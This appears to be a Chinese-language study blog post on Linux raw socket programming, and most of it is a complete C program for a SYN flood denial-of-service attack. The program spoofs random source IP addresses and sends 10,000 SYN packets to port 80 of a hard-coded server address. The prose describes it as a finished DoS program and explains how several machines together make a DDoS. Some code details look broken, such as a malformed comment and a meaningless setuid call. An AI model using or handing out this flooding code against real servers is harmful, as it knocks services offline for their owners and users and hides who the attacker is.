今天学习了Unix/Linux网络编程的原始套接字,并完成了一个DoS(拒绝服务攻击)程序。该程序向HTTP服务器发送大量建立连接的的请求,但是不发送ack报
文,从而可以使服务器产生大量半连接。在半连接超时之前,服务器不堪重负而停止响应其它请求。当多台机器同时参与攻击时候,就办成DDoS攻击(分布式拒
绝服务攻击)。
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <errno.h>
#include <netdb.h>
#define DES_PORT 80 /*欲攻击的端口为80,即HTTP端口 */
#define LOCAL_PORT 8888/*使用的本地端口*/
void send_tcp(int,struct sockaddr_in *);
int main()
{
int sockfd;
int on=1;
struct sockaddr_in serveraddr;
bzero(&serveraddr,sizeof(struct sockaddr_in));/*结构清零*/
serveraddr.sin_family=AF_INET;/*针对Internet*/
serveraddr.sin_port=htons(DES_PORT);/*转换*/
/*欲攻击服务器IP为192.168.3.55*/
if(inet_pton(AF_INET,"192.168.3.55",&serveraddr.sin_addr)!=1)
{
printf("wrong in inet_pthon ");
exit(1);
}
/*建立原始套接字*/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"wrong in establish socket%s ",hstrerror(h_errno));
exit(1);
}
/*设定套接字选项,表明IP头部自己填写*/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
setuid(getpid());/*由于原始套接字只能由root产生*/
send_tcp(sockfd,&serveraddr);/*产生并发送报文*/
}
void send_tcp(int sockfd,struct sockaddr_in * serveraddr)
{
char buffer[100];/*报文填写在buffer中*/
struct ip *myip;/*指向IP头部结构的指针*/
struct tcphdr *mytcp;/*指向TCP头部结构的指针*/
int headerlen,i;
bzero(buffer,sizeof(buffer));
/*TCP+IP头部长度,由于数据长度为0,这实际也是整个包的长度*/
headerlen=sizeof(struct ip)+sizeof(struct tcphdr);/*这里为40*/
myip=(struct ip*)buffer;/*注意这种用法*/
myip->ip_v=IPVERSION;/*版本为IPV4*/
/*该字段表示头部长度,一个单位表示4个字节,所以要除以4*/
myip->ip_hl=sizeof(struct ip)>>2;/*20除以4等于5*/
myip->ip_tos=0;
myip->ip_len=htons(headerlen);/*数据包总长度,这为40*/
myip->ip_id=0;/系统自己填写*/
myip->ip_off=0;
myip->ip_ttl=MAXTTL;/*TTL最大为255*/
myip->ip_p=IPPROTO_TCP;/*采用TCP协议*/
myip->ip_sum=0;/*校验和由系统完成*/
myip->ip_dst=serveraddr->sin_addr;/*欲攻击服务器地址*/
/***********以下构造TCP头部***********/
mytcp=(struct tcphdr*)(buffer+sizeof(struct ip));/*注意这种写法,接在IP头部后填充TCP*/
mytcp->source=htons(LOCAL_PORT);/*本地端口*/
mytcp->dest=serveraddr->sin_port;/*目的端口*/
mytcp->seq=random();/*随机产生任意值*/
mytcp->ack_seq=0;
mytcp->doff=sizeof(struct tcphdr)>>2;/*TCP头部长度,道理同IP*/
mytcp->syn=1;/*表明这是TCP三次握手的第一步,需要设SYN=1和SEQ为任意值*/
mytcp->check=0;
/**********连续发送10000个请求连接报文*************/
for(i=0;i<10000;i++)
{
myip->ip_src.s_addr=random();/*源地址随机产生,从而隐藏自己*/
/*发送*/
sendto(sockfd,buffer,headerlen,0,(struct sockaddr*)serveraddr,sizeof(struct sockaddr_in));
}
}
用Ethereal截包,截图如下